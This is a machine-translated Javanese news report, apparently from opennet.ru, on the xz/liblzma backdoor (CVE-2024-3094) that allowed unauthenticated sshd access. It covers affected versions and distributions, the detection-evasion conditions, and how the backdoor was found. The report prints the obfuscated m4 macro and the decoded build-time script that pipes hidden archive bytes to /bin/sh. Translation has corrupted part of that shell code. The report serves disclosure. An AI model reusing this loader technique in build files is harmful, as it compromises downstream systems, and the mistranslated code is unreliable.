A backdoor ditemokake ing perpustakaan xz / liblzma sing ngidini entri liwat sshd

Ing paket XZ Utils, sing kalebu perpustakaan liblzma lan utilitas kanggo nggarap data sing dikompresi ing format ".xz", backdoor (CVE-2024-3094) wis diidentifikasi sing ngidini interception lan modifikasi data sing diproses dening aplikasi sing gegandhengan. karo perpustakaan liblzma. Sasaran utama backdoor yaiku server OpenSSH, sing ing sawetara distribusi dibundel karo perpustakaan libsystemd, sing nggunakake liblzma. Nyambungake sshd karo perpustakaan sing rawan ngidini panyerang entuk akses menyang server SSH tanpa otentikasi.

Backdoor kasebut ana ing rilis resmi 5.6.0 lan 5.6.1, diterbitake ing 24 Februari lan 9 Maret, sing bisa mlebu ing sawetara distribusi lan repositori, contone, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide lan 40-beta, pabrik openSUSE lan tumbleweed, LibreELEC, pinggiran Alpine, Solus, NixOS ora stabil, OpenIndiana, OpenMandriva rolling, pkgsrc saiki, Slackware saiki, testing Manjaro. Kabeh pangguna xz 5.6.0 lan 5.6.1 disaranake supaya cepet bali menyang versi 5.4.6.

Antarane faktor sing nyuda masalah, bisa dicathet yen versi liblzma kanthi backdoor ora bisa dadi bagian saka rilis stabil distribusi gedhe, nanging kena pengaruh openSUSE Tumbleweed lan Fedora 40-beta. Arch Linux lan Gentoo nggunakake versi rentan saka zx, nanging ora rentan kanggo serangan amarga padha ora aplikasi systemd-notify patch kanggo openssh, kang nimbulaké sshd disambung menyang liblzma. Backdoor mung mengaruhi sistem x86_64 adhedhasar kernel Linux lan perpustakaan Glibc C.

Kode aktivasi backdoor didhelikake ing m4 macro saka file build-to-host.m4 sing digunakake dening toolkit automake nalika mbangun. Sajrone perakitan, sajrone nglakokake operasi obfuscated sing rumit adhedhasar arsip (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), digunakake kanggo nguji kebeneran operasi, file obyek kanthi kode angkoro digawe, sing kalebu ing perpustakaan liblzma lan ngganti logika operasi sawetara fungsi sawijining. Makro m4 sing ngaktifake backdoor kalebu ing tarball release, nanging ora ana ing gudang Git. Ing wektu sing padha, arsip tes angkoro ana ing repositori, yaiku. wong sing dileksanakake backdoor wis akses kanggo loro gudang lan proses generasi release.

Nalika nggunakake liblzma ing aplikasi, owah-owahan angkoro bisa digunakake kanggo nyegat utawa ngowahi data, utawa mengaruhi operasi sshd. Utamane, kode angkoro ngapusi fungsi RSA_public_decrypt kanggo ngliwati proses otentikasi sshd. Backdoor kalebu proteksi saka deteksi lan ora katon nalika variabel lingkungan LANG lan TERM disetel (yaiku, nalika mbukak proses ing terminal) lan variabel lingkungan LD_DEBUG lan LD_PROFILE ora disetel, lan uga diaktifake mung nalika nglakokake /usr/sbin/sshd file eksekusi. Backdoor uga nduweni sarana kanggo ndeteksi eksekusi ing lingkungan debug.

Utamane, file m4/build-to-host.m4 digunakake gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_awalan -d 2>/dev/null'

Ing konstruksi pisanan, operasi grep nemokake tes file / file / bad-3-corrupt_lzma2.xz, sing, nalika dibongkar, nggawe skrip: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && metu 0 [! $(uname) = "Linux" ] && metu 0 [! $(uname) = "Linux" ] && metu 0 [! $(uname) = "Linux" ] && metu 0 [! $(uname) = "Linux" ] && metu 0 eval `grep ^srcdir= config.status` yen test -f ../../config.status;banjur eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (kepala -c +1024 >/dev/null) && sirah -c +2048 && (kepala -c +1024 >/dev/null) && sirah -c +2048 && (kepala -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && sirah -c +2048 && (kepala -c +1024 >/dev/null) && sirah -c +2048 && (kepala -c +1024 >/dev/null) && sirah -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F mentah —lzma1 -dc|/bin/sh ####Donya####

Kepiye para panyerang bisa entuk akses menyang infrastruktur proyek xz durung dijlentrehake kanthi lengkap. Iku uga durung cetha carane akeh pangguna lan proyèk padha kompromi minangka asil saka backdoor. Pengarang miturut omongane uwong saka backdoor (JiaT75 - Jia Tan), sing ngirim arsip karo kode angkoro ing repositori, cocog karo pangembang Fedora lan ngirim panjalukan narik menyang Debian sing ana hubungane karo transisi distribusi menyang cabang xz 5.6.0, lan ora. nuwuhake rasa curiga, amarga dheweke melu xz wis berkembang sajrone rong taun kepungkur lan dadi pangembang nomer loro babagan jumlah owah-owahan sing ditindakake. Saliyane proyek xz, miturut omongane uwong penulis backdoor uga melu ngembangake paket xz-java lan xz-embedded. Kajaba iku, Jia Tan sawetara dina kepungkur kalebu ing jumlah pangurus proyek XZ Embedded sing digunakake ing kernel Linux.

Owah-owahan angkoro ditemokake sawise nganalisa konsumsi CPU sing gedhe banget lan kesalahan sing digawe dening valgrind nalika nyambungake liwat ssh menyang sistem basis Debian. Wigati dimangerteni manawa rilis xz 5.6.1 kalebu owah-owahan sing disiapake dening penulis miturut omongane uwong saka backdoor kanggo nanggepi keluhan babagan slowdowns sshd lan kacilakan sing muncul sawise nganyarke menyang zx 5.6.0 versi karo backdoor. Kajaba iku, taun kepungkur Jia Tan nggawe owah-owahan sing ora cocog karo mode inspeksi "-fsanitize=address", sing nyebabake dipateni nalika tes fuzz.

Source: opennet.ru

Add a comment